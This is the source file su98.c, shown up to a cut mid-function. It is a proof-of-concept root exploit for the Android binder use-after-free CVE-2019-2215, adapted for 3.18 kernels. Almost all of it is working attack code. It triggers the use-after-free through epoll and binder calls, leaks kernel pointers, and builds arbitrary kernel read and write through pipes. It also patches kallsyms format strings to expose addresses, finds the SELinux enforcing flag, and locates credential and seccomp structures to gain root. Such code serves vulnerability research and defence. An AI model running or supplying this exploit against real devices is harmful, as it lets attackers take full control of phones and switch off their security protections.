better search for thread_info
[cve2019-2215-3.18.git] / su98.c
blob882a01a791ca319743457f15d689469a63075420
1 /*
2 * POC to gain arbitrary kernel R/W access using CVE-2019-2215
3 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
5 * Jann Horn & Maddie Stone of Google Project Zero
6 * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019)
7 * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98
9 * October 2019
12 #define DELAY_USEC 200000
14 // $ uname -a
15 // Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64
16 //#define KERNEL_BASE 0xffffffc000080000ul
17 #define KERNEL_BASE 0xffffffc000000000ul
18 #define OFFSET__thread_info__flags 0x000
19 #define OFFSET__task_struct__stack 0x008
20 #define OFFSET__cred__uid 0x004
21 #define OFFSET__cred__securebits 0x024
22 #define OFFSET__cred__cap_permitted 0x030
23 #define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008)
24 #define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010)
26 #define USER_DS 0x8000000000ul
27 #define BINDER_SET_MAX_THREADS 0x40046205ul
28 #define MAX_THREADS 3
30 #define RETRIES 3
32 #define PROC_KALLSYMS
33 #define KALLSYMS_CACHING
34 #define KSYM_NAME_LEN 128
36 //Not needed, but saved for future use; the offsets are for LGV20 LS998
37 //#define OFFSET__task_struct__seccomp 0x9b0
38 //#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster
39 //#define OFFSET__task_struct__cred 0x550
40 #define OFFSET__cred__security 0x078
41 #define OFFSET__cred__cap_inheritable 0x028
42 #define OFFSET__cred__cap_ambient 0x048
43 //#define OFFSET__task_struct__mm 0x308
46 #define _GNU_SOURCE
47 #include <libgen.h>
48 #include <time.h>
49 #include <stdbool.h>
50 #include <sys/mman.h>
51 #include <sys/wait.h>
52 #include <ctype.h>
53 #include <sys/uio.h>
54 #include <err.h>
55 #include <sched.h>
56 #include <fcntl.h>
57 #include <sys/epoll.h>
58 #include <sys/ioctl.h>
59 #include <unistd.h>
60 #include <stdio.h>
61 #include <stdlib.h>
62 #include <linux/sched.h>
63 #include <string.h>
64 #include <sys/prctl.h>
65 #include <sys/socket.h>
66 #include <sys/un.h>
67 #include <errno.h>
69 #define MAX_PACKAGE_NAME 1024
71 #define MIN(x, y) ((x) < (y) ? (x) : (y))
72 #define MAX(x, y) ((x) > (y) ? (x) : (y))
74 #define BINDER_THREAD_EXIT 0x40046208ul
75 // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
76 #define BINDER_THREAD_SZ 0x188
77 #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
78 #define WAITQUEUE_OFFSET (0x98)
79 #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
80 #define UAF_SPINLOCK 0x10001
81 #define PAGE 0x1000ul
82 #define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8
84 int quiet = 0;
86 const char whitelist[] = "su98-whitelist.txt";
87 const char denyfile[] = "su98-denied.txt";
88 int have_kallsyms = 0;
89 int kernel3 = 1;
90 char* myPath;
91 char* myName;
93 struct kallsyms {
94 unsigned long addresses;
95 unsigned long names;
96 unsigned long num_syms;
97 unsigned long token_table;
98 unsigned long markers;
99 char* token_table_data;
100 unsigned short token_index_data[256];
101 } kallsyms;
103 void message(char *fmt, ...)
105 if (quiet)
106 return;
107 va_list ap;
108 va_start(ap, fmt);
109 vprintf(fmt, ap);
110 va_end(ap);
111 putchar('\n');
114 void error(char* fmt, ...)
116 va_list ap;
117 va_start(ap, fmt);
118 vfprintf(stderr, fmt, ap);
119 va_end(ap);
120 fprintf(stderr, ": %s\n", errno ? strerror(errno) : "error");
121 exit(1);
124 int isKernelPointer(unsigned long p) {
125 return p >= KERNEL_BASE && p<=0xFFFFFFFFFFFFFFFEul;
128 unsigned long kernel_read_ulong(unsigned long kaddr);
130 void hexdump_memory(void *_buf, size_t byte_count)
132 unsigned char *buf = _buf;
133 unsigned long byte_offset_start = 0;
134 if (byte_count % 16)
135 error( "hexdump_memory called with non-full line");
136 for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
137 byte_offset += 16)
139 char line[1000];
140 char *linep = line;
141 linep += sprintf(linep, "%08lx ", byte_offset);
142 for (int i = 0; i < 16; i++)
144 linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
146 linep += sprintf(linep, " |");
147 for (int i = 0; i < 16; i++)
149 char c = buf[byte_offset + i];
150 if (isalnum(c) || ispunct(c) || c == ' ')
152 *(linep++) = c;
154 else
156 *(linep++) = '.';
159 linep += sprintf(linep, "|");
160 puts(line);
164 int epfd;
166 int binder_fd;
168 unsigned long iovec_size(struct iovec *iov, int n)
170 unsigned long sum = 0;
171 for (int i = 0; i < n; i++)
172 sum += iov[i].iov_len;
173 return sum;
176 unsigned long iovec_max_size(struct iovec *iov, int n)
178 unsigned long m = 0;
179 for (int i = 0; i < n; i++)
181 if (iov[i].iov_len > m)
182 m = iov[i].iov_len;
184 return m;
187 int clobber_data(unsigned long payloadAddress, const void *src, unsigned long payloadLength)
189 int dummyBufferSize = MAX(UAF_SPINLOCK, PAGE);
190 char *dummyBuffer = malloc(dummyBufferSize);
191 if (dummyBuffer == NULL)
192 error( "allocating dummyBuffer");
194 memset(dummyBuffer, 0, dummyBufferSize);
196 message("PARENT: clobbering at 0x%lx", payloadAddress);
198 struct epoll_event event = {.events = EPOLLIN};
199 int max_threads = 2;
200 ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);
201 if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event))
202 error( "epoll_add");
204 unsigned long testDatum = 0;
205 unsigned long const testValue = 0xABCDDEADBEEF1234ul;
207 struct iovec iovec_array[IOVEC_ARRAY_SZ];
208 memset(iovec_array, 0, sizeof(iovec_array));
210 const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS = 3;
212 unsigned long second_write_chunk[SECOND_WRITE_CHUNK_IOVEC_ITEMS * 2] = {
213 (unsigned long)dummyBuffer,
214 /* iov_base (currently in use) */ // wq->task_list->next
215 SECOND_WRITE_CHUNK_IOVEC_ITEMS * 0x10,
216 /* iov_len (currently in use) */ // wq->task_list->prev
218 payloadAddress, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
219 payloadLength,
221 (unsigned long)&testDatum,
222 sizeof(testDatum),
225 int delta = (UAF_SPINLOCK + sizeof(second_write_chunk)) % PAGE;
226 int paddingSize = delta == 0 ? 0 : PAGE - delta;
228 iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = dummyBuffer;
229 iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize;
230 iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummyBuffer;
231 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; // spinlock: will turn to UAF_SPINLOCK
232 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = second_write_chunk; // wq->task_list->next: will turn to payloadAddress of task_list
233 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = sizeof(second_write_chunk); // wq->task_list->prev: will turn to payloadAddress of task_list
234 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = dummyBuffer; // stuff from this point will be overwritten and/or ignored
235 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = UAF_SPINLOCK;
236 iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_base = dummyBuffer;
237 iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_len = payloadLength;
238 iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_base = dummyBuffer;
239 iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_len = sizeof(testDatum);
240 int totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
242 int pipes[2];
243 pipe(pipes);
244 if ((fcntl(pipes[0], F_SETPIPE_SZ, PAGE)) != PAGE)
245 error( "pipe size");
246 if ((fcntl(pipes[1], F_SETPIPE_SZ, PAGE)) != PAGE)
247 error( "pipe size");
249 pid_t fork_ret = fork();
250 if (fork_ret == -1)
251 error( "fork");
252 if (fork_ret == 0)
254 /* Child process */
255 prctl(PR_SET_PDEATHSIG, SIGKILL);
256 usleep(DELAY_USEC);
257 message("CHILD: Doing EPOLL_CTL_DEL.");
258 epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
259 message("CHILD: Finished EPOLL_CTL_DEL.");
261 char *f = malloc(totalLength);
262 if (f == NULL)
263 error( "Allocating memory");
264 memset(f, 0, paddingSize + UAF_SPINLOCK);
265 unsigned long pos = paddingSize + UAF_SPINLOCK;
266 memcpy(f + pos, second_write_chunk, sizeof(second_write_chunk));
267 pos += sizeof(second_write_chunk);
268 memcpy(f + pos, src, payloadLength);
269 pos += payloadLength;
270 memcpy(f + pos, &testValue, sizeof(testDatum));
271 pos += sizeof(testDatum);
272 write(pipes[1], f, pos);
273 message("CHILD: wrote %lu", pos);
274 close(pipes[1]);
275 close(pipes[0]);
276 exit(0);
279 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
280 int b = readv(pipes[0], iovec_array, IOVEC_ARRAY_SZ);
282 message("PARENT: readv returns %d, expected %d", b, totalLength);
284 if (testDatum != testValue)
285 message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue);
286 else
287 message("PARENT: clobbering test passed");
289 free(dummyBuffer);
290 close(pipes[0]);
291 close(pipes[1]);
293 return testDatum == testValue;
296 int leak_data(void *leakBuffer, int leakAmount,
297 unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount,
298 unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p)
300 unsigned long const minimumLeak = TASK_STRUCT_OFFSET_FROM_TASK_LIST + 8;
301 unsigned long adjLeakAmount = MAX(leakAmount, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough
303 int success = 1;
305 struct epoll_event event = {.events = EPOLLIN};
306 int max_threads = 2;
307 ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);
308 if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event))
309 error( "epoll_add");
311 struct iovec iovec_array[IOVEC_ARRAY_SZ];
313 memset(iovec_array, 0, sizeof(iovec_array));
315 int delta = (UAF_SPINLOCK + minimumLeak) % PAGE;
316 int paddingSize = (delta == 0 ? 0 : PAGE - delta) + PAGE;
318 iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_base = (unsigned long *)0xDEADBEEF;
319 iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_len = PAGE;
320 iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = (unsigned long *)0xDEADBEEF;
321 iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize - PAGE;
322 iovec_array[IOVEC_INDX_FOR_WQ].iov_base = (unsigned long *)0xDEADBEEF;
323 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */
324 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (unsigned long *)0xDEADBEEF; /* wq->task_list->next */
325 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = adjLeakAmount; /* wq->task_list->prev */
326 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (unsigned long *)0xDEADBEEF; // we shouldn't get to here
327 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = extraLeakAmount + UAF_SPINLOCK + 8;
328 unsigned long totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
329 unsigned long maxLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
330 unsigned char *dataBuffer = malloc(maxLength);
332 if (dataBuffer == NULL)
333 error( "Allocating %ld bytes", maxLength);
335 for (int i = 0; i < IOVEC_ARRAY_SZ; i++)
336 if (iovec_array[i].iov_base == (unsigned long *)0xDEADBEEF)
337 iovec_array[i].iov_base = dataBuffer;
339 int b;
340 int pipefd[2];
341 int leakPipe[2];
342 if (pipe(pipefd))
343 error( "pipe");
344 if (pipe(leakPipe))
345 err(2, "pipe");
346 if ((fcntl(pipefd[0], F_SETPIPE_SZ, PAGE)) != PAGE)
347 error( "pipe size");
348 if ((fcntl(pipefd[1], F_SETPIPE_SZ, PAGE)) != PAGE)
349 error( "pipe size");
351 pid_t fork_ret = fork();
352 if (fork_ret == -1)
353 error( "fork");
354 if (fork_ret == 0)
356 /* Child process */
357 char childSuccess = 1;
359 prctl(PR_SET_PDEATHSIG, SIGKILL);
360 usleep(DELAY_USEC);
361 message("CHILD: Doing EPOLL_CTL_DEL.");
362 epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
363 message("CHILD: Finished EPOLL_CTL_DEL.");
365 unsigned long size1 = paddingSize + UAF_SPINLOCK + minimumLeak;
366 message("CHILD: initial portion length 0x%lx", size1);
367 char buffer[size1];
368 memset(buffer, 0, size1);
369 if (read(pipefd[0], buffer, size1) != size1)
370 error( "reading first part of pipe");
372 memcpy(dataBuffer, buffer + size1 - minimumLeak, minimumLeak);
374 int badPointer = 0;
375 if (memcmp(dataBuffer, dataBuffer + 8, 8))
376 badPointer = 1;
377 unsigned long addr = 0;
378 memcpy(&addr, dataBuffer, 8);
380 if (!isKernelPointer(addr)) {
381 badPointer = 1;
382 childSuccess = 0;
385 unsigned long task_struct_ptr = 0;
387 memcpy(&task_struct_ptr, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8);
388 message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr);
390 if (!badPointer && (extraLeakAmount > 0 || task_struct_plus_8_p != NULL))
392 unsigned long extra[6] = {
393 addr,
394 adjLeakAmount,
395 extraLeakAddress,
396 extraLeakAmount,
397 task_struct_ptr + 8,
399 message("CHILD: clobbering with extra leak structures");
400 if (clobber_data(addr, &extra, sizeof(extra)))
401 message("CHILD: clobbered");
402 else {
403 message("CHILD: **fail** iovec clobbering didn't work");
404 childSuccess = 0;
408 errno = 0;
409 if (read(pipefd[0], dataBuffer + minimumLeak, adjLeakAmount - minimumLeak) != adjLeakAmount - minimumLeak)
410 error("leaking");
412 write(leakPipe[1], dataBuffer, adjLeakAmount);
414 if (extraLeakAmount > 0)
416 message("CHILD: extra leak");
417 if (read(pipefd[0], extraLeakBuffer, extraLeakAmount) != extraLeakAmount) {
418 childSuccess = 0;
419 error( "extra leaking");
421 write(leakPipe[1], extraLeakBuffer, extraLeakAmount);
422 //hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16);
424 if (task_struct_plus_8_p != NULL)
426 if (read(pipefd[0], dataBuffer, 8) != 8) {
427 childSuccess = 0;
428 error( "leaking second field of task_struct");
430 message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer);
431 write(leakPipe[1], dataBuffer, 8);
433 write(leakPipe[1], &childSuccess, 1);
435 close(pipefd[0]);
436 close(pipefd[1]);
437 close(leakPipe[0]);
438 close(leakPipe[1]);
439 message("CHILD: Finished write to FIFO.");
441 if (badPointer) {
442 errno = 0;
443 message("CHILD: **fail** problematic address pointer, e.g., %lx", addr);
445 exit(0);
447 message("PARENT: soon will be calling WRITEV");
448 errno = 0;
449 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
450 b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
451 message("PARENT: writev() returns 0x%x", (unsigned int)b);
452 if (b != totalLength) {
453 message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength);
454 success = 0;
455 goto DONE;
458 message("PARENT: Reading leaked data");
460 b = read(leakPipe[0], dataBuffer, adjLeakAmount);
461 if (b != adjLeakAmount) {
462 message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount);
463 success = 0;
464 goto DONE;
467 if (leakAmount > 0)
468 memcpy(leakBuffer, dataBuffer, leakAmount);
470 if (extraLeakAmount != 0)
472 message("PARENT: Reading extra leaked data");
473 b = read(leakPipe[0], extraLeakBuffer, extraLeakAmount);
474 if (b != extraLeakAmount) {
475 message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b, extraLeakAmount);
476 success = 0;
477 goto DONE;
481 if (task_struct_plus_8_p != NULL)
483 if (read(leakPipe[0], task_struct_plus_8_p, 8) != 8) {
484 message( "PARENT: **fail** reading leaked task_struct at offset 8");
485 success = 0;
486 goto DONE;
490 char childSucceeded=0;
492 read(leakPipe[0], &childSucceeded, 1);
493 if (!childSucceeded)
494 success = 0;
497 if (task_struct_ptr_p != NULL)
498 memcpy(task_struct_ptr_p, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8);
500 DONE:
501 close(pipefd[0]);
502 close(pipefd[1]);
503 close(leakPipe[0]);
504 close(leakPipe[1]);
506 int status;
507 wait(&status);
508 //if (wait(&status) != fork_ret) error( "wait");
510 free(dataBuffer);
512 if (success)
513 message("PARENT: leaking successful");
515 return success;
518 int leak_data_retry(void *leakBuffer, int leakAmount,
519 unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount,
520 unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) {
521 int try = 0;
522 while (try < RETRIES && !leak_data(leakBuffer, leakAmount, extraLeakAddress, extraLeakBuffer, extraLeakAmount, task_struct_ptr_p, task_struct_plus_8_p)) {
523 message("MAIN: **fail** retrying");
524 try++;
526 if (0 < try && try < RETRIES)
527 message("MAIN: it took %d tries, but succeeded", try);
528 return try < RETRIES;
531 int clobber_data_retry(unsigned long payloadAddress, const void *src, unsigned long payloadLength) {
532 int try = 0;
533 while (try < RETRIES && !clobber_data(payloadAddress, src, payloadLength)) {
534 message("MAIN: **fail** retrying");
535 try++;
537 if (0 < try && try < RETRIES)
538 message("MAIN: it took %d tries, but succeeded", try);
539 return try < RETRIES;
543 int kernel_rw_pipe[2];
545 struct kernel_buffer {
546 unsigned char pageBuffer[PAGE];
547 unsigned long pageBufferOffset;
548 } kernel_buffer = { .pageBufferOffset = 0 };
550 void reset_kernel_pipes()
552 kernel_buffer.pageBufferOffset = 0;
553 close(kernel_rw_pipe[0]);
554 close(kernel_rw_pipe[1]);
555 if (pipe(kernel_rw_pipe))
556 error( "kernel_rw_pipe");
559 int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len)
561 if (len > PAGE)
562 error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
563 if (write(kernel_rw_pipe[1], buf, len) != len ||
564 read(kernel_rw_pipe[0], (void *)kaddr, len) != len)
566 reset_kernel_pipes();
567 return 0;
569 return len;
572 void kernel_write(unsigned long kaddr, void *buf, unsigned long len)
574 if (len != raw_kernel_write(kaddr, buf, len))
575 error( "error with kernel writing");
578 int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len)
580 if (len > PAGE)
581 error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
582 if (write(kernel_rw_pipe[1], (void *)kaddr, len) != len || read(kernel_rw_pipe[0], buf, len) != len)
584 reset_kernel_pipes();
585 return 0;
587 return len;
590 void kernel_read(unsigned long kaddr, void *buf, unsigned long len)
592 if (len > PAGE)
593 error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len);
594 if (len != raw_kernel_read(kaddr, buf, len))
595 error( "error with kernel reading");
598 unsigned char kernel_read_uchar(unsigned long offset) {
599 if (kernel_buffer.pageBufferOffset == 0 || offset < kernel_buffer.pageBufferOffset || kernel_buffer.pageBufferOffset+PAGE <= offset) {
600 kernel_buffer.pageBufferOffset = offset & ~(PAGE-1);
601 kernel_read(kernel_buffer.pageBufferOffset, kernel_buffer.pageBuffer, PAGE);
603 return kernel_buffer.pageBuffer[offset-kernel_buffer.pageBufferOffset];
606 unsigned long kernel_read_ulong(unsigned long kaddr)
608 unsigned long data;
609 kernel_read(kaddr, &data, sizeof(data));
610 return data;
612 unsigned long kernel_read_uint(unsigned long kaddr)
614 unsigned int data;
615 kernel_read(kaddr, &data, sizeof(data));
616 return data;
618 void kernel_write_ulong(unsigned long kaddr, unsigned long data)
620 kernel_write(kaddr, &data, sizeof(data));
622 void kernel_write_uint(unsigned long kaddr, unsigned int data)
624 kernel_write(kaddr, &data, sizeof(data));
626 void kernel_write_uchar(unsigned long kaddr, unsigned char data)
628 kernel_write(kaddr, &data, sizeof(data));
631 // code from DrZener
632 unsigned long findSelinuxEnforcingFromAvcDenied(unsigned long avc_denied_address)
634 unsigned long address;
635 unsigned long selinux_enforcing_address;
636 bool adrp_found = 0;
637 for(address = avc_denied_address; address <= avc_denied_address + 0x60; address += 4)
639 unsigned int instruction = kernel_read_uint(address);
641 if(!adrp_found)
643 unsigned int instruction_masked = instruction;
644 instruction_masked >>= 24;
645 instruction_masked &= 0x9F;
646 if((instruction_masked ^ 0x90) == 0 )
648 selinux_enforcing_address = address;
649 unsigned int imm_hi, imm_lo, imm;
650 imm_hi = (instruction >> 5) & 0x7FFFF;
651 imm_lo = (instruction >> 29) & 3;
652 imm = ((imm_hi << 2) | imm_lo) << 12;
653 selinux_enforcing_address &= 0xFFFFFFFFFFFFF000;
654 selinux_enforcing_address += imm;
655 adrp_found = 1;
658 if (adrp_found)
660 unsigned int instruction_masked = instruction;
661 instruction_masked >>= 22;
662 instruction_masked &= 0x2FF;
663 if((instruction_masked ^ 0x2E5) == 0 )
665 unsigned int offset = ((instruction >> 10) & 0xFFF) << 2;
666 selinux_enforcing_address += offset;
667 message("selinux_enforcing address found");
668 return selinux_enforcing_address;
672 message("selinux_enforcing address not found");
673 return 0UL;
676 // Make the kallsyms module not check for permission to list symbol addresses
677 int fixKallsymsFormatStrings(unsigned long start)
679 errno = 0;
681 int found = 0;
683 start &= ~(PAGE - 1);
685 unsigned long searchTarget;
687 memcpy(&searchTarget, "%pK %c %", 8);
689 int backwards = 1;
690 int forwards = 1;
691 int direction = 1;
692 unsigned long forwardAddress = start;
693 unsigned long backwardAddress = start - PAGE;
694 unsigned long page[PAGE / 8];
696 message("MAIN: searching for kallsyms format strings");
698 while ((backwards || forwards) && found < 2)
700 unsigned long address = direction > 0 ? forwardAddress : backwardAddress;
702 if (address < 0xffffffc000000000ul || address >= 0xffffffd000000000ul || raw_kernel_read(address, page, PAGE) != PAGE)
704 if (direction > 0)
705 forwards = 0;
706 else
707 backwards = 0;
709 else
711 for (int i = 0; i < PAGE / 8; i++)
712 if (page[i] == searchTarget)
714 unsigned long a = address + 8 * i;
716 char fmt[16];
718 kernel_read(a, fmt, 16);
720 if (!strcmp(fmt, "%pK %c %s\t[%s]\x0A"))
722 message("MAIN: patching longer version at %lx", a);
723 if (15 != raw_kernel_write(a, "%p %c %s\t[%s]\x0A", 15)) {
724 message("MAIN: **fail** probably you have read-only const storage");
725 return found;
727 found++;
729 else if (!strcmp(fmt, "%pK %c %s\x0A"))
731 message("MAIN: patching shorter version at %lx", a);
732 if (15 != raw_kernel_write(a, "%p %c %s\x0A", 10)) {
733 message("MAIN: **fail** probably you have read-only const storage");
734 return found;
736 found++;
739 if (found >= 2)
740 return 2;
744 if (direction > 0)
745 forwardAddress += PAGE;
746 else
747 backwardAddress -= PAGE;
749 direction = -direction;
751 if (direction < 0 && !backwards)
753 direction = 1;
755 else if (direction > 0 && !forwards)
757 direction = -1;
761 return found;
764 int verifyCred(unsigned long cred_ptr) {
765 unsigned uid;
766 if (cred_ptr < 0xffffff0000000000ul || 4 != raw_kernel_read(cred_ptr+OFFSET__cred__uid, &uid, 4))
767 return 0;
768 return uid == getuid();
771 int getCredOffset(unsigned char* task_struct_data) {
772 char taskname[16];
773 unsigned n = MIN(strlen(myName)+1, 16);
774 memcpy(taskname, myName, n);
775 taskname[15] = 0;
777 for (int i=OFFSET__task_struct__stack+8; i<PAGE-16; i+=8) {
778 if (0 == memcmp(task_struct_data+i, taskname, n) && verifyCred(*(unsigned long*)(task_struct_data+i-8)))
779 return i-8;
782 errno=0;
783 error("Cannot find cred structure");
784 return -1;
787 int getSeccompOffset(unsigned char* task_struct_data, unsigned credOffset, unsigned seccompStatus) {
788 if (seccompStatus != 2)
789 return -1;
791 unsigned long firstGuess = -1;
793 for (int i=credOffset&~7; i<PAGE-24; i+=8) {
794 struct {
795 unsigned long seccomp_status;
796 unsigned long seccomp_filter;
797 unsigned int parent_exe;
798 unsigned int child_exe;
799 } *p = (void*)(task_struct_data+i);
801 if (p->seccomp_status == seccompStatus && isKernelPointer(p->seccomp_filter)) {
802 if (p->child_exe == p->parent_exe + 1) {
803 return i;
805 else {
806 if (firstGuess < 0)
807 firstGuess = i;
812 return firstGuess;
815 unsigned long countIncreasingEntries(unsigned long start) {
816 unsigned long count = 1;
817 unsigned long prev = kernel_read_ulong(start);
818 do {
819 start += 8;
820 unsigned long v = kernel_read_ulong(start);
821 if (v < prev)
822 return count;
823 count++;
824 } while(1);
827 int increasing(unsigned long* location, unsigned n) {
828 for (int i=0; i<n-1; i++)
829 if (location[i] > location[i+1])
830 return 0;
831 return 1;
834 int find_kallsyms_addresses(unsigned long searchStart, unsigned long searchEnd, unsigned long* startP, unsigned long* countP) {
835 if (searchStart == 0)
836 searchStart = KERNEL_BASE;
837 if (searchEnd == 0)
838 searchEnd = searchStart + 0x5000000;
839 unsigned long foundStart = 0;
841 unsigned char page[PAGE];
842 for (unsigned long i=searchStart; i<searchEnd ; i+=PAGE) {
843 if (PAGE == raw_kernel_read(i, page, PAGE))
844 for (int j=0; j<PAGE; j+=0x100) {
845 if (isKernelPointer(*(unsigned long*)(page+j)) && increasing((unsigned long*)(page+j), 256/8-1)) {
846 unsigned long count = countIncreasingEntries(i+j);
847 if (count >= 40000) {
848 *startP = i+j;
849 *countP = count;
850 return 1;
852 else if (count >= 10000) {
853 message("MAIN: interesting, found a sequence of 10000 non-decreasing entries at 0x%lx", (i+j));
858 return 0;
861 int get_kallsyms_name(unsigned long offset, char* name) {
862 unsigned char length = kernel_read_uchar(offset++);
864 for (unsigned char i = 0; i < length ; i++) {
865 int index = kallsyms.token_index_data[kernel_read_uchar(offset++)];
866 int n = strlen(kallsyms.token_table_data+index);
867 memcpy(name, kallsyms.token_table_data+index, n);
868 name += n;
870 *name = 0;
872 return 1+length;
875 int loadKallsyms() {
876 if (have_kallsyms)
878 return 1;
879 if (!find_kallsyms_addresses(0, 0, &kallsyms.addresses, &kallsyms.num_syms))
880 return 0;
882 message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms.addresses, kallsyms.num_syms);
883 unsigned long offset = kallsyms.addresses + 8 * kallsyms.num_syms;
885 message("MAIN: kallsyms names end at 0x%lx", offset);
886 struct kernel_buffer buf = {.pageBufferOffset = 0};
888 offset = (offset + 0xFFul) & ~0xFFul;
890 unsigned long count = kernel_read_ulong(offset);
891 offset += 8;
893 if (count != kallsyms.num_syms) {
894 message("MAIN: **fail** kallsym entry count mismatch %ld", count);
897 offset = (offset + 0xFFul) & ~0xFFul;
899 kallsyms.names = offset;
901 for (unsigned long i = 0 ; i < kallsyms.num_syms ; i++) {
902 unsigned char len = kernel_read_uchar(offset++);
903 offset += len;
906 offset = (offset + 0xFF) & ~0xFFul;
908 kallsyms.markers = offset;
910 offset += 8 * ((kallsyms.num_syms + 255ul) / 256ul);
912 offset = (offset + 0xFF) & ~0xFFul;
914 kallsyms.token_table = offset;
916 int tokens = 0;
918 while (tokens < 256) {
919 if (kernel_read_uchar(offset++) == 0)
920 tokens++;
923 unsigned long token_table_length = offset - kallsyms.token_table;
925 kallsyms.token_table_data = malloc(token_table_length);
927 errno = 0;
928 if (kallsyms.token_table_data == NULL)
929 error("allocating token table");
931 for (unsigned long i = 0 ; i < token_table_length ; i++)
932 kallsyms.token_table_data[i] = kernel_read_uchar(kallsyms.token_table + i);
934 offset = (offset + 0xFF) & ~0xFFul;
936 kernel_read(offset, kallsyms.token_index_data, sizeof(kallsyms.token_index_data));
938 have_kallsyms = 1;
940 return 1;
943 unsigned long findSymbol_memory_search(char* symbol) {
944 message("MAIN: searching for kallsyms table");
945 if (! loadKallsyms()) {
946 message("MAIN: **fail** cannot find kallsyms table");
949 unsigned long offset = kallsyms.names;
950 char name[KSYM_NAME_LEN];
951 unsigned n = strlen(symbol);
953 for(unsigned long i = 0; i < kallsyms.num_syms; i++) {
954 unsigned int n = get_kallsyms_name(offset, name);
955 if (!strncmp(name+1, symbol, n) && (name[1+n] == '.' || !name[1+n])) {
956 unsigned long address = kernel_read_ulong(kallsyms.addresses + i*8);
957 message( "MAIN: found %s in kernel memory at %lx", symbol, address);
959 return address;
961 offset += n;
964 return 0;
967 char* allocateSymbolCachePathName(char* symbol) {
968 int n = strlen(myPath);
970 char* pathname = malloc(strlen(symbol)+7+1+n);
971 if (pathname == NULL) {
972 errno = 0;
973 error("allocating memory for pathname");
975 strcpy(pathname, myPath);
976 strcat(pathname, symbol);
977 strcat(pathname, ".symbol");
979 return pathname;
982 unsigned long findSymbol_in_cache(char* symbol) {
983 char* pathname = allocateSymbolCachePathName(symbol);
984 unsigned long address = 0;
986 FILE *cached = fopen(pathname, "r");
987 if (cached != NULL) {
988 fscanf(cached, "%lx", &address);
989 fclose(cached);
992 free(pathname);
994 return address;
997 void cacheSymbol(char* symbol, unsigned long address) {
998 #ifdef KALLSYMS_CACHING
999 if (address != 0 && address != findSymbol_in_cache(symbol)) {
1000 char* pathname = allocateSymbolCachePathName(symbol);
1001 FILE *cached = fopen(pathname, "w");
1002 if (cached != NULL) {
1003 fprintf(cached, "%lx\n", address);
1004 fclose(cached);
1005 char* cmd = alloca(10+strlen(pathname)+1);
